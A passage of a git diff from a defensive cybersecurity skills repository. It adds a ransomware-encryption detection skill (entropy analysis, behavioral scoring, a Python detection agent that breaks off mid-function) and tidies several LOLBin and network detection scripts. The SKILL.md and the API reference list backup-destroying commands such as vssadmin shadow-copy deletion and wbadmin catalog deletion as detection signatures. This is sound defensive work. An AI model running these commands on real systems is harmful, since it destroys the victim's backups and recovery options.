+ """Detect suspicious parent-child process relationships.""" + alerts = [] + for event in process_events: + parent = event.get("ParentImage", event.get("parent_image", "")).lower() + child = event.get("Image", event.get("image", "")).lower() + parent_name = parent.split("\\")[-1] if "\\" in parent else parent.split("/")[-1] + child_name = child.split("\\")[-1] if "\\" in child else child.split("/")[-1] + + for rule in PARENT_CHILD_RULES: + if parent_name in rule["parents"] and child_name in rule["children"]: + alerts.append({ + "type": "suspicious_parent_child", + "severity": rule["severity"], + "mitre": rule["mitre"], + "description": rule["description"], + "parent_process": parent, + "child_process": child, + "command_line": event.get("CommandLine", event.get("command_line", ""))[:500], + "user": event.get("User", event.get("user", "")), + "hostname": event.get("Computer", event.get("hostname", "")), + "timestamp": event.get("UtcTime", event.get("timestamp", "")), + }) + break + return alerts + + +def detect_lolbin_network(network_events): + """Detect LOLBins making outbound network connections.""" + alerts = [] + for event in network_events: + image = event.get("Image", event.get("image", "")).lower() + binary_name = image.split("\\")[-1] if "\\" in image else image.split("/")[-1] + + if binary_name in NETWORK_SUSPICIOUS_LOLBINS: + dest_ip = event.get("DestinationIp", event.get("destination_ip", "")) + if dest_ip.startswith("127.") or dest_ip == "::1": + continue + alerts.append({ + "type": "lolbin_network_connection", + "severity": "critical", + "binary": binary_name, + "image": event.get("Image", event.get("image", "")), + "destination_ip": dest_ip, + "destination_port": event.get("DestinationPort", event.get("destination_port", "")), + "destination_hostname": event.get("DestinationHostname", event.get("destination_hostname", "")), + "source_ip": event.get("SourceIp", event.get("source_ip", "")), + "user": event.get("User", event.get("user", "")), + "hostname": event.get("Computer", event.get("hostname", "")), + "timestamp": event.get("UtcTime", event.get("timestamp", "")), + }) + return alerts + + +def generate_statistics(process_events, all_alerts): + """Generate summary statistics.""" + lolbin_exec_counts = defaultdict(int) + for event in process_events: + image = event.get("Image", event.get("image", "")).lower() + binary_name = image.split("\\")[-1] if "\\" in image else image.split("/")[-1] + if binary_name in [k.lower() for k in LOLBIN_SIGNATURES]: + lolbin_exec_counts[binary_name] += 1 + + severity_counts = defaultdict(int) + type_counts = defaultdict(int) + mitre_counts = defaultdict(int) + for alert in all_alerts: + severity_counts[alert.get("severity", "unknown")] += 1 + type_counts[alert.get("type", "unknown")] += 1 + mitre_ids = alert.get("mitre", []) + if isinstance(mitre_ids, str): + mitre_ids = [mitre_ids] + for mid in mitre_ids: + mitre_counts[mid] += 1 + + return { + "lolbin_execution_counts": dict(lolbin_exec_counts), + "alert_severity_counts": dict(severity_counts), + "alert_type_counts": dict(type_counts), + "mitre_technique_counts": dict(mitre_counts), + "total_alerts": len(all_alerts), + } if __name__ == "__main__": - main() + print("=" * 60) + print("Living Off the Land (LOLBin) Detection Agent") + print("Sysmon log analysis for LOLBin abuse, parent-child") + print("anomalies, and LOLBin network connections") + print("=" * 60) + + input_path = sys.argv[1] if len(sys.argv) > 1 else None + + if not input_path or not os.path.exists(input_path): + print(f"\n[DEMO] Usage: python agent.py ") + print("[*] Provide Sysmon event logs (EVTX or JSON) for LOLBin analysis.") + print(f"[*] Monitors {len(LOLBIN_SIGNATURES)} LOLBins with " + f"{sum(len(v['patterns']) for v in LOLBIN_SIGNATURES.values())} detection patterns") + print(f"[*] {len(PARENT_CHILD_RULES)} parent-child anomaly rules") + print(f"[*] {len(NETWORK_SUSPICIOUS_LOLBINS)} LOLBins monitored for network activity") + sys.exit(0) + + print(f"\n[*] Loading events from: {input_path}") + process_events, network_events = load_events(input_path) + print(f" Process creation events (EID 1): {len(process_events)}") + print(f" Network connection events (EID 3): {len(network_events)}") + + all_alerts = [] + + print("\n--- LOLBin Command-Line Detection ---") + cmdline_alerts = detect_lolbin_abuse(process_events) + print(f" Suspicious LOLBin executions: {len(cmdline_alerts)}") + for a in cmdline_alerts[:15]: + print(f" [{a['severity'].upper()}] {a['lolbin']} on {a.get('hostname', '?')}") + print(f" MITRE: {', '.join(a['mitre']) if isinstance(a['mitre'], list) else a['mitre']}") + print(f" Cmd: {a['command_line'][:120]}") + print(f" Parent: {a['parent_image']}") + print(f" User: {a['user']}") + all_alerts.extend(cmdline_alerts) + + print("\n--- Parent-Child Anomaly Detection ---") + pc_alerts = detect_parent_child_anomalies(process_events) + print(f" Suspicious parent-child pairs: {len(pc_alerts)}") + for a in pc_alerts[:15]: + print(f" [{a['severity'].upper()}] {a['description']}") + print(f" Parent: {a['parent_process']} -> Child: {a['child_process']}") + print(f" Cmd: {a['command_line'][:120]}") + all_alerts.extend(pc_alerts) + + print("\n--- LOLBin Network Connections ---") + net_alerts = detect_lolbin_network(network_events) + print(f" LOLBin network connections: {len(net_alerts)}") + for a in net_alerts[:15]: + print(f" [CRITICAL] {a['binary']} -> {a['destination_ip']}:{a['destination_port']}" + f" ({a.get('destination_hostname', 'N/A')})") + all_alerts.extend(net_alerts) + + stats = generate_statistics(process_events, all_alerts) + + print(f"\n{'=' * 60}") + print(f"SUMMARY: {stats['total_alerts']} total alerts") + for sev, count in sorted(stats["alert_severity_counts"].items()): + print(f" {sev.upper()}: {count}") + if stats["mitre_technique_counts"]: + print("\nMITRE ATT&CK techniques triggered:") + for tech, count in sorted(stats["mitre_technique_counts"].items(), key=lambda x: -x[1]): + print(f" {tech}: {count}") + if stats["lolbin_execution_counts"]: + print("\nLOLBin execution counts:") + for binary, count in sorted(stats["lolbin_execution_counts"].items(), key=lambda x: -x[1])[:20]: + print(f" {binary}: {count}") diff --git a/skills/detecting-living-off-the-land-with-lolbas/scripts/agent.py b/skills/detecting-living-off-the-land-with-lolbas/scripts/agent.py index 86fd5ff7..1ec52a97 100644 --- a/skills/detecting-living-off-the-land-with-lolbas/scripts/agent.py +++ b/skills/detecting-living-off-the-land-with-lolbas/scripts/agent.py @@ -2,7 +2,6 @@ """Detect Living Off the Land Binaries (LOLBAS) abuse via process telemetry and Sigma rules.""" import json -import re import argparse from datetime import datetime from collections import defaultdict diff --git a/skills/detecting-malicious-scheduled-tasks-with-sysmon/scripts/agent.py b/skills/detecting-malicious-scheduled-tasks-with-sysmon/scripts/agent.py index a06d1339..70f9d20c 100644 --- a/skills/detecting-malicious-scheduled-tasks-with-sysmon/scripts/agent.py +++ b/skills/detecting-malicious-scheduled-tasks-with-sysmon/scripts/agent.py @@ -2,13 +2,11 @@ """Sysmon scheduled task detection agent for hunting malicious persistence.""" import json -import sys import argparse import re import base64 import xml.etree.ElementTree as ET from datetime import datetime -from collections import defaultdict SUSPICIOUS_PATHS = [ diff --git a/skills/detecting-mobile-malware-behavior/scripts/agent.py b/skills/detecting-mobile-malware-behavior/scripts/agent.py index 5adc7c91..e2eb16d0 100644 --- a/skills/detecting-mobile-malware-behavior/scripts/agent.py +++ b/skills/detecting-mobile-malware-behavior/scripts/agent.py @@ -9,7 +9,6 @@ import argparse import json import re import subprocess -import sys import zipfile from pathlib import Path from datetime import datetime diff --git a/skills/detecting-modbus-command-injection-attacks/scripts/agent.py b/skills/detecting-modbus-command-injection-attacks/scripts/agent.py index 75f7427c..1b06645e 100644 --- a/skills/detecting-modbus-command-injection-attacks/scripts/agent.py +++ b/skills/detecting-modbus-command-injection-attacks/scripts/agent.py @@ -7,8 +7,6 @@ abuse, and anomalous register access patterns using Zeek logs or pcap analysis. import argparse import json -import re -import sys from collections import Counter, defaultdict from datetime import datetime diff --git a/skills/detecting-modbus-protocol-anomalies/scripts/agent.py b/skills/detecting-modbus-protocol-anomalies/scripts/agent.py index 59bc58ad..6bfa1588 100644 --- a/skills/detecting-modbus-protocol-anomalies/scripts/agent.py +++ b/skills/detecting-modbus-protocol-anomalies/scripts/agent.py @@ -7,7 +7,6 @@ packets, timing deviations, register range violations, and replay attacks. import argparse import json -import sys from collections import Counter, defaultdict from datetime import datetime diff --git a/skills/detecting-network-anomalies-with-zeek/scripts/agent.py b/skills/detecting-network-anomalies-with-zeek/scripts/agent.py index eb64d42a..f1661525 100644 --- a/skills/detecting-network-anomalies-with-zeek/scripts/agent.py +++ b/skills/detecting-network-anomalies-with-zeek/scripts/agent.py @@ -10,8 +10,8 @@ from datetime import datetime from pathlib import Path -ZEEK_BIN = "/opt/zeek/bin/zeek" -ZEEK_LOG_DIR = "/opt/zeek/logs/current" +ZEEK_BIN = os.environ.get("ZEEK_BIN", "/opt/zeek/bin/zeek") +ZEEK_LOG_DIR = os.environ.get("ZEEK_LOG_DIR", "/opt/zeek/logs/current") def check_zeek_status(): @@ -240,7 +240,11 @@ def analyze_pcap(pcap_path): if not os.path.exists(pcap_path): return {"error": f"PCAP not found: {pcap_path}"} - output_dir = f"/tmp/zeek_analysis_{datetime.now().strftime('%Y%m%d_%H%M%S')}" + import tempfile + output_dir = os.path.join( + os.environ.get("ZEEK_OUTPUT_DIR", tempfile.gettempdir()), + f"zeek_analysis_{datetime.now().strftime('%Y%m%d_%H%M%S')}" + ) os.makedirs(output_dir, exist_ok=True) try: result = subprocess.run( diff --git a/skills/detecting-network-scanning-with-ids-signatures/SKILL.md b/skills/detecting-network-scanning-with-ids-signatures/SKILL.md index e7e9d146..1b0ccc44 100644 --- a/skills/detecting-network-scanning-with-ids-signatures/SKILL.md +++ b/skills/detecting-network-scanning-with-ids-signatures/SKILL.md @@ -51,7 +51,7 @@ Network scanning is typically the first phase of an attack, where adversaries en | Aggressive | `-T4` | Parallel, 1.25s timeout | Very easy | | Insane | `-T5` | Maximum parallelism | Trivial | -## Implementation Steps +## Workflow ### Step 1: Deploy Suricata Scan Detection Rules diff --git a/skills/detecting-network-scanning-with-ids-signatures/scripts/agent.py b/skills/detecting-network-scanning-with-ids-signatures/scripts/agent.py index 56c654f2..2043c554 100644 --- a/skills/detecting-network-scanning-with-ids-signatures/scripts/agent.py +++ b/skills/detecting-network-scanning-with-ids-signatures/scripts/agent.py @@ -8,8 +8,7 @@ Suricata/Snort alerts and connection logs for scanning patterns. import argparse import json import re -import sys -from collections import Counter, defaultdict +from collections import defaultdict from datetime import datetime SCAN_SIGNATURES = { diff --git a/skills/detecting-oauth-token-theft/scripts/agent.py b/skills/detecting-oauth-token-theft/scripts/agent.py index c267db7c..ba215de6 100644 --- a/skills/detecting-oauth-token-theft/scripts/agent.py +++ b/skills/detecting-oauth-token-theft/scripts/agent.py @@ -8,7 +8,6 @@ token replay from unusual IPs, and anomalous scope requests. import argparse import json import math -import sys import datetime import collections diff --git a/skills/detecting-pass-the-hash-attacks/scripts/agent.py b/skills/detecting-pass-the-hash-attacks/scripts/agent.py index d5a04f36..6c32471e 100644 --- a/skills/detecting-pass-the-hash-attacks/scripts/agent.py +++ b/skills/detecting-pass-the-hash-attacks/scripts/agent.py @@ -8,7 +8,6 @@ for Type 3 NTLM logons with anomalous patterns across multiple targets. import argparse import json import re -import sys from collections import defaultdict from datetime import datetime diff --git a/skills/detecting-port-scanning-with-fail2ban/scripts/agent.py b/skills/detecting-port-scanning-with-fail2ban/scripts/agent.py index 2d0e2a7f..bfdf9ea2 100644 --- a/skills/detecting-port-scanning-with-fail2ban/scripts/agent.py +++ b/skills/detecting-port-scanning-with-fail2ban/scripts/agent.py @@ -10,9 +10,9 @@ from collections import Counter from datetime import datetime -FAIL2BAN_CLIENT = "fail2ban-client" -FAIL2BAN_LOG = "/var/log/fail2ban.log" -AUTH_LOG = "/var/log/auth.log" +FAIL2BAN_CLIENT = os.environ.get("FAIL2BAN_CLIENT", "fail2ban-client") +FAIL2BAN_LOG = os.environ.get("FAIL2BAN_LOG", "/var/log/fail2ban.log") +AUTH_LOG = os.environ.get("AUTH_LOG", "/var/log/auth.log") def check_fail2ban_status(): @@ -173,7 +173,7 @@ def parse_auth_log_ssh(log_path=None): def detect_port_scan_from_logs(log_path=None): """Detect port scanning patterns from system logs.""" - log_path = log_path or "/var/log/syslog" + log_path = log_path or os.environ.get("SYSLOG_PATH", "/var/log/syslog") if not os.path.exists(log_path): return {"error": f"Syslog not found: {log_path}"} diff --git a/skills/detecting-privilege-escalation-attempts/scripts/agent.py b/skills/detecting-privilege-escalation-attempts/scripts/agent.py index ef9e5503..0d0a1a9f 100644 --- a/skills/detecting-privilege-escalation-attempts/scripts/agent.py +++ b/skills/detecting-privilege-escalation-attempts/scripts/agent.py @@ -8,7 +8,6 @@ unquoted service paths by analyzing process creation and security logs. import argparse import json import re -import sys from datetime import datetime try: diff --git a/skills/detecting-privilege-escalation-in-kubernetes-pods/scripts/agent.py b/skills/detecting-privilege-escalation-in-kubernetes-pods/scripts/agent.py index 72777631..f17e5c18 100644 --- a/skills/detecting-privilege-escalation-in-kubernetes-pods/scripts/agent.py +++ b/skills/detecting-privilege-escalation-in-kubernetes-pods/scripts/agent.py @@ -8,7 +8,6 @@ to detect misconfigurations enabling container privilege escalation. import argparse import json import subprocess -import sys from datetime import datetime DANGEROUS_CAPABILITIES = { diff --git a/skills/detecting-process-hollowing-technique/scripts/agent.py b/skills/detecting-process-hollowing-technique/scripts/agent.py index 92a86530..429d1c78 100644 --- a/skills/detecting-process-hollowing-technique/scripts/agent.py +++ b/skills/detecting-process-hollowing-technique/scripts/agent.py @@ -8,7 +8,6 @@ creation, memory allocation in remote processes, and thread hijacking. import argparse import json import re -import sys from datetime import datetime try: diff --git a/skills/detecting-process-injection-techniques/scripts/agent.py b/skills/detecting-process-injection-techniques/scripts/agent.py index 931f4bd1..e54d52ed 100644 --- a/skills/detecting-process-injection-techniques/scripts/agent.py +++ b/skills/detecting-process-injection-techniques/scripts/agent.py @@ -3,7 +3,6 @@ import json import os -import re import subprocess import sys from datetime import datetime diff --git a/skills/detecting-qr-code-phishing-with-email-security/SKILL.md b/skills/detecting-qr-code-phishing-with-email-security/SKILL.md index 4e9dd454..8030e76f 100644 --- a/skills/detecting-qr-code-phishing-with-email-security/SKILL.md +++ b/skills/detecting-qr-code-phishing-with-email-security/SKILL.md @@ -40,7 +40,7 @@ QR code phishing (quishing) is a rapidly growing attack vector where malicious U - Average similarity score of 0.209 between quishing and legitimate QR emails - QR codes in image attachments require OCR and deep image processing -## Implementation Steps +## Workflow ### Step 1: Enable Image-Based Threat Detection - Configure email gateway to scan embedded images for QR codes diff --git a/skills/detecting-qr-code-phishing-with-email-security/scripts/agent.py b/skills/detecting-qr-code-phishing-with-email-security/scripts/agent.py index 15f6c8d6..bc4cf2dd 100644 --- a/skills/detecting-qr-code-phishing-with-email-security/scripts/agent.py +++ b/skills/detecting-qr-code-phishing-with-email-security/scripts/agent.py @@ -2,13 +2,10 @@ """Agent for detecting QR code phishing (quishing) in email attachments and bodies.""" import argparse -import base64 import email -import hashlib import json import os import re -import sys from datetime import datetime, timezone from email import policy from urllib.parse import urlparse @@ -21,7 +18,6 @@ except ImportError: HAS_QR = False try: - import requests HAS_REQUESTS = True except ImportError: HAS_REQUESTS = False diff --git a/skills/implementing-privileged-identity-management-with-azure/LICENSE b/skills/detecting-ransomware-encryption-behavior/LICENSE similarity index 100% rename from skills/implementing-privileged-identity-management-with-azure/LICENSE rename to skills/detecting-ransomware-encryption-behavior/LICENSE diff --git a/skills/detecting-ransomware-encryption-behavior/SKILL.md b/skills/detecting-ransomware-encryption-behavior/SKILL.md new file mode 100644 index 00000000..aaa50828 --- /dev/null +++ b/skills/detecting-ransomware-encryption-behavior/SKILL.md @@ -0,0 +1,197 @@ +--- +name: detecting-ransomware-encryption-behavior +description: > + Detects ransomware encryption activity in real time using entropy analysis, + file system I/O monitoring, and behavioral heuristics. Identifies mass file + modification patterns, abnormal entropy spikes in written data, and suspicious + process behavior characteristic of ransomware encryption routines. Activates + for requests involving ransomware behavioral detection, entropy-based file + monitoring, I/O anomaly detection, or real-time encryption activity alerting. +domain: cybersecurity +subdomain: ransomware-defense +tags: [ransomware, detection, entropy, behavioral-analysis, file-monitoring, heuristics] +version: 1.0.0 +author: mahipal +license: Apache-2.0 +--- + +# Detecting Ransomware Encryption Behavior + +## When to Use + +- Building or tuning a behavioral detection layer for ransomware that catches unknown/zero-day variants +- Monitoring file servers and endpoints for mass encryption activity that evades signature-based detection +- Implementing entropy-based detection to identify when files are being replaced with encrypted (high-entropy) content +- Analyzing suspicious process behavior patterns: rapid sequential file opens, writes, renames, and deletes +- Validating EDR detection rules against actual ransomware encryption patterns during red team exercises + +**Do not use** entropy analysis alone as the only detection signal. Compressed files (ZIP, JPEG, MP4) naturally have high entropy and will cause false positives. Always combine entropy with behavioral signals like I/O rate and file rename patterns. + +## Prerequisites + +- Python 3.8+ with `watchdog` and `psutil` libraries +- Administrative access for process monitoring and file system event capture +- Understanding of Shannon entropy and its application to file content analysis +- Windows: Sysmon installed for detailed process and file system event logging +- Linux: auditd configured for file access monitoring, or inotify-based watchers +- Baseline entropy values for common file types in the monitored environment + +## Workflow + +### Step 1: Establish Entropy Baselines + +Calculate normal entropy ranges for files in the environment: + +``` +Entropy Baselines by File Type: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +File Type Normal Entropy Encrypted Entropy +.docx 3.5 - 6.5 7.8 - 8.0 +.xlsx 4.0 - 6.8 7.8 - 8.0 +.pdf 5.0 - 7.2 7.8 - 8.0 +.txt 2.0 - 5.0 7.8 - 8.0 +.csv 2.0 - 5.5 7.8 - 8.0 +.sql 2.5 - 5.0 7.8 - 8.0 +.jpg/.png 7.0 - 7.9 7.9 - 8.0 (hard to distinguish) +.zip/.7z 7.5 - 8.0 7.9 - 8.0 (hard to distinguish) + +Key insight: Text-based files show the largest entropy jump when encrypted, +making them the best candidates for entropy-based detection. +``` + +### Step 2: Implement Real-Time Entropy Monitoring + +Monitor file writes and calculate entropy of new content: + +```python +import math +from collections import Counter + +def shannon_entropy(data): + """Calculate Shannon entropy of byte data (0.0 to 8.0 scale).""" + if not data: + return 0.0 + freq = Counter(data) + length = len(data) + return -sum((c / length) * math.log2(c / length) for c in freq.values()) + +def is_encryption_entropy(data, threshold=7.5): + """Check if data entropy indicates encryption.""" + entropy = shannon_entropy(data) + return entropy >= threshold, entropy +``` + +### Step 3: Monitor File System I/O Patterns + +Track process-level file operations for ransomware patterns: + +``` +Ransomware I/O Behavior Signatures: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +1. Rapid sequential file modification: + - >20 files modified per minute by single process + - Read original → Write encrypted → Rename with new extension + - Pattern: CreateFile → ReadFile → WriteFile → CloseHandle → MoveFile + +2. File extension changes: + - Original: report.docx → Encrypted: report.docx.locked + - Many extensions changed within short time window + +3. Ransom note creation: + - Same text file (README.txt, DECRYPT.html) created in multiple directories + - Created immediately after file encryption in each directory + +4. Shadow copy deletion: + - vssadmin.exe delete shadows /all /quiet + - wmic.exe shadowcopy delete + - PowerShell: Get-WmiObject Win32_Shadowcopy | Remove-WmiObject + +5. Entropy spike pattern: + - File read: entropy 3.5 (normal document) + - File write: entropy 7.9 (encrypted content) + - Delta > 3.0 is strong ransomware indicator +``` + +### Step 4: Implement Behavioral Scoring + +Combine multiple signals into a composite ransomware score: + +```python +def calculate_ransomware_score(process_metrics): + """Score process behavior for ransomware likelihood (0-100).""" + score = 0 + + # High file modification rate + files_per_min = process_metrics.get("files_modified_per_minute", 0) + if files_per_min > 50: + score += 30 + elif files_per_min > 20: + score += 15 + + # Entropy increase in written files + avg_entropy_delta = process_metrics.get("avg_entropy_delta", 0) + if avg_entropy_delta > 3.0: + score += 30 + elif avg_entropy_delta > 2.0: + score += 15 + + # File extension changes + extension_changes = process_metrics.get("extension_changes", 0) + if extension_changes > 10: + score += 20 + elif extension_changes > 3: + score += 10 + + # Ransom note creation + if process_metrics.get("ransom_note_created", False): + score += 20 + + return min(score, 100) +``` + +### Step 5: Configure Automated Response Thresholds + +Set detection thresholds and automated containment actions: + +``` +Detection Thresholds: +━━━━━━━━━━━━━━━━━━━━ +Score 0-25: INFORMATIONAL - Log only, no action +Score 25-50: LOW - Alert SOC for investigation +Score 50-75: HIGH - Alert SOC, suspend process, snapshot VM +Score 75-100: CRITICAL - Kill process, isolate endpoint, alert IR team + +Automated Response Actions: + - Suspend/kill the encrypting process + - Disable network adapter to prevent lateral movement + - Create volume shadow copy snapshot before further damage + - Capture process memory dump for forensic analysis + - Send SIEM alert with process details, affected files, and timeline +``` + +## Verification + +- Test detection against known ransomware samples in an isolated sandbox environment +- Verify that entropy monitoring correctly identifies encrypted vs. compressed files +- Confirm that behavioral scoring produces low false-positive rates on normal workloads +- Validate automated response actions execute within acceptable time (under 5 seconds) +- Test with multiple ransomware families (LockBit, BlackCat, Conti) to verify coverage +- Benchmark monitoring overhead to ensure it does not degrade endpoint performance + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Shannon Entropy** | Mathematical measure of randomness in data (0-8 for bytes); encrypted data approaches 8.0, while text files are typically 2-5 | +| **Differential Entropy** | The change in entropy between a file's original and modified content; a spike indicates encryption | +| **I/O Rate Anomaly** | Abnormally high rate of file read/write operations by a single process, characteristic of bulk encryption | +| **Behavioral Scoring** | Combining multiple weak signals (entropy, I/O rate, file renames) into a composite confidence score | +| **Entropy Evasion** | Techniques used by advanced ransomware to defeat entropy detection, such as Base64 encoding output or partial encryption | + +## Tools & Systems + +- **Sysmon**: Windows system monitor providing detailed file system and process events for behavioral analysis +- **watchdog (Python)**: Cross-platform file system monitoring library for real-time file change detection +- **psutil (Python)**: Process and system monitoring library for tracking per-process I/O statistics +- **Elastic Endpoint**: Commercial endpoint protection with built-in ransomware behavioral detection using canary files +- **Wazuh**: Open-source security platform with file integrity monitoring and active response capabilities diff --git a/skills/detecting-ransomware-encryption-behavior/references/api-reference.md b/skills/detecting-ransomware-encryption-behavior/references/api-reference.md new file mode 100644 index 00000000..9c658c1b --- /dev/null +++ b/skills/detecting-ransomware-encryption-behavior/references/api-reference.md @@ -0,0 +1,106 @@ +# API Reference: Detecting Ransomware Encryption Behavior + +## Shannon Entropy + +Formula: H(X) = -Sum p(x) log2(p(x)). For byte data range is 0.0 to 8.0. + +### Python Implementation + +```python +import math +from collections import Counter + +def shannon_entropy(data): + freq = Counter(data) + length = len(data) + return -sum((c / length) * math.log2(c / length) for c in freq.values()) +``` + +### Entropy Thresholds + +| Range | Interpretation | Example | +|-------|---------------|--------| +| 0.0-1.0 | Nearly uniform | Null files | +| 1.0-4.0 | Low entropy | Plain text | +| 4.0-6.0 | Mixed content | Office docs | +| 6.0-7.0 | Compressed | PDF | +| 7.0-7.5 | Highly compressed | ZIP JPEG | +| 7.5-7.9 | Block cipher encrypted | AES-CBC | +| 7.9-8.0 | Stream cipher encrypted | AES-CTR ChaCha20 | + +## psutil Process IO Monitoring + +```python +import psutil +proc = psutil.Process(pid) +io = proc.io_counters() +# Fields: read_bytes write_bytes read_count write_count +``` + +## Sysmon Event IDs + +| Event ID | Event | Relevance | +|----------|-------|----------| +| 1 | Process Create | Identify encrypting process | +| 2 | File time changed | Timestomping | +| 11 | FileCreate | Ransom notes | +| 15 | FileCreateStreamHash | ADS usage | +| 23 | FileDelete | Shadow copy deletion | +| 26 | FileDeleteDetected | File deletion | + +## Windows ETW Providers + +Microsoft-Windows-Kernel-File GUID: EDD08927-9CC4-4E65-B970-C2560FB5C289 + +| Event ID | Description | +|----------|------------| +| 10 | Create (open) | +| 11 | Close | +| 12 | Read | +| 14 | Write | +| 15 | SetInformation | + +## Behavioral Scoring + +| Signal | Weight | Threshold | +|--------|--------|-----------| +| Files modified per min | 30 pts | Over 50 | +| Entropy delta | 30 pts | Over 3.0 | +| Extension changes | 20 pts | Over 10 | +| Ransom note creation | 20 pts | Any | + +### Score Interpretation + +| Score | Severity | Action | +|-------|----------|--------| +| 0-25 | INFO | Log | +| 25-50 | LOW | Alert SOC | +| 50-75 | HIGH | Suspend process | +| 75-100 | CRITICAL | Kill and isolate | + +## Shadow Copy Deletion + +| Command | Method | +|---------|--------| +| vssadmin delete shadows /all /quiet | VSS Admin | +| wmic shadowcopy delete | WMI | +| bcdedit /set recoveryenabled no | Disable recovery | +| wbadmin delete catalog -quiet | Delete backup | + +## watchdog Library + +| Method | Trigger | +|--------|--------| +| on_created | File created | +| on_modified | File modified | +| on_deleted | File deleted | +| on_moved | File renamed | + +## Double Extension Detection + +```python +parts = filename.rsplit(".", 2) +if len(parts) >= 3: + original_ext = "." + parts[-2] + appended_ext = "." + parts[-1] +``` diff --git a/skills/detecting-ransomware-encryption-behavior/scripts/agent.py b/skills/detecting-ransomware-encryption-behavior/scripts/agent.py new file mode 100644 index 00000000..af46ae68 --- /dev/null +++ b/skills/detecting-ransomware-encryption-behavior/scripts/agent.py @@ -0,0 +1,314 @@ +#!/usr/bin/env python3 +"""Ransomware encryption behavior detection agent. + +Detects ransomware activity using entropy analysis, file system I/O monitoring, +and behavioral heuristics. Monitors file modifications for entropy spikes and +mass rename patterns characteristic of ransomware encryption. +""" + +import hashlib +import json +import logging +import math +import os +import sys +import time +from collections import Counter + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(levelname)s] %(message)s", +) +logger = logging.getLogger("ransomware_detector") + +RANSOMWARE_EXTENSIONS = { + ".locked", ".encrypted", ".crypt", ".locky", ".cerber", ".wncry", + ".dharma", ".basta", ".blackcat", ".hive", ".royal", ".akira", + ".lockbit", ".conti", ".ryuk", ".maze", ".revil", ".phobos", +} + +RANSOM_NOTE_NAMES = { + "readme.txt", "readme.html", "decrypt.txt", "decrypt.html", + "how_to_decrypt.txt", "restore_files.txt", "how_to_recover.txt", +} + +HIGH_VALUE_EXTENSIONS = { + ".docx", ".xlsx", ".pptx", ".pdf", ".doc", ".xls", ".ppt", + ".csv", ".sql", ".mdb", ".accdb", ".bak", ".zip", ".7z", + ".pst", ".ost", ".eml", ".jpg", ".png", ".dwg", ".vmdk", +} + + +def shannon_entropy(data): + """Calculate Shannon entropy of byte data (0.0 to 8.0).""" + if not data: + return 0.0 + freq = Counter(data) + length = len(data) + return -sum((c / length) * math.log2(c / length) for c in freq.values()) + + +def analyze_file_entropy(filepath): + """Analyze entropy of a file and its segments.""" + with open(filepath, "rb") as f: + data = f.read() + + if not data: + return {"overall": 0.0, "is_encrypted": False} + + overall = shannon_entropy(data) + file_size = len(data) + + chunk_size = min(4096, file_size // 4) if file_size > 16 else file_size + first_entropy = shannon_entropy(data[:chunk_size]) + mid_entropy = shannon_entropy(data[file_size // 2: file_size // 2 + chunk_size]) + last_entropy = shannon_entropy(data[-chunk_size:]) + + return { + "overall": round(overall, 4), + "first_chunk": round(first_entropy, 4), + "mid_chunk": round(mid_entropy, 4), + "last_chunk": round(last_entropy, 4), + "file_size": file_size, + "is_encrypted": overall > 7.5, + "is_partial_encryption": abs(first_entropy - mid_entropy) > 2.0, + } + + +def scan_directory_entropy(directory, extensions=None): + """Scan directory for files with high entropy indicating encryption.""" + results = {"total_files": 0, "encrypted_files": 0, "files": []} + + for root, dirs, files in os.walk(directory): + for filename in files: + filepath = os.path.join(root, filename) + ext = os.path.splitext(filename)[1].lower() + + if extensions and ext not in extensions: + continue + + try: + analysis = analyze_file_entropy(filepath) + results["total_files"] += 1 + + if analysis["is_encrypted"]: + results["encrypted_files"] += 1 + analysis["path"] = filepath + analysis["filename"] = filename + results["files"].append(analysis) + except (OSError, PermissionError): + continue + + results["encryption_ratio"] = ( + round(results["encrypted_files"] / results["total_files"], 4) + if results["total_files"] > 0 else 0 + ) + return results + + +def detect_ransomware_indicators(directory): + """Detect multiple ransomware indicators in a directory tree.""" + indicators = { + "ransomware_extensions": [], + "ransom_notes": [], + "high_entropy_files": [], + "renamed_files": [], + "score": 0, + } + + for root, dirs, files in os.walk(directory): + for filename in files: + filepath = os.path.join(root, filename) + lower_name = filename.lower() + + # Check for ransomware file extensions + ext = os.path.splitext(filename)[1].lower() + if ext in RANSOMWARE_EXTENSIONS: + indicators["ransomware_extensions"].append(filepath) + + # Check for double extensions (report.docx.locked) + parts = filename.rsplit(".", 2) + if len(parts) >= 3: + original_ext = "." + parts[-2].lower() + appended_ext = "." + parts[-1].lower() + if original_ext in HIGH_VALUE_EXTENSIONS and appended_ext in RANSOMWARE_EXTENSIONS: + indicators["renamed_files"].append({ + "path": filepath, + "original_ext": original_ext, + "ransomware_ext": appended_ext, + }) + + # Check for ransom notes + if lower_name in RANSOM_NOTE_NAMES: + indicators["ransom_notes"].append(filepath) + + # Check entropy of high-value file types + if ext in HIGH_VALUE_EXTENSIONS: + try: + analysis = analyze_file_entropy(filepath) + if analysis["is_encrypted"]: + indicators["high_entropy_files"].append({ + "path": filepath, + "entropy": analysis["overall"], + }) + except (OSError, PermissionError): + continue + + # Calculate ransomware score + score = 0 + score += min(len(indicators["ransomware_extensions"]) * 5, 30) + score += min(len(indicators["ransom_notes"]) * 15, 30) + score += min(len(indicators["high_entropy_files"]) * 3, 20) + score += min(len(indicators["renamed_files"]) * 5, 20) + indicators["score"] = min(score, 100) + + if indicators["score"] >= 75: + indicators["verdict"] = "CRITICAL - Active ransomware encryption detected" + elif indicators["score"] >= 50: + indicators["verdict"] = "HIGH - Strong ransomware indicators present" + elif indicators["score"] >= 25: + indicators["verdict"] = "MEDIUM - Suspicious activity, investigate further" + else: + indicators["verdict"] = "LOW - No significant ransomware indicators" + + return indicators + + +def snapshot_directory_state(directory): + """Take a baseline snapshot of directory for differential analysis.""" + snapshot = {} + for root, dirs, files in os.walk(directory): + for filename in files: + filepath = os.path.join(root, filename) + try: + stat = os.stat(filepath) + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + sha256.update(chunk) + snapshot[filepath] = { + "hash": sha256.hexdigest(), + "size": stat.st_size, + "mtime": stat.st_mtime, + } + except (OSError, PermissionError): + continue + return snapshot + + +def compare_snapshots(before, after): + """Compare two directory snapshots to detect bulk encryption.""" + changes = {"modified": [], "deleted": [], "created": [], "total_changes": 0} + + for path, info in before.items(): + if path not in after: + changes["deleted"].append(path) + elif after[path]["hash"] != info["hash"]: + changes["modified"].append({ + "path": path, + 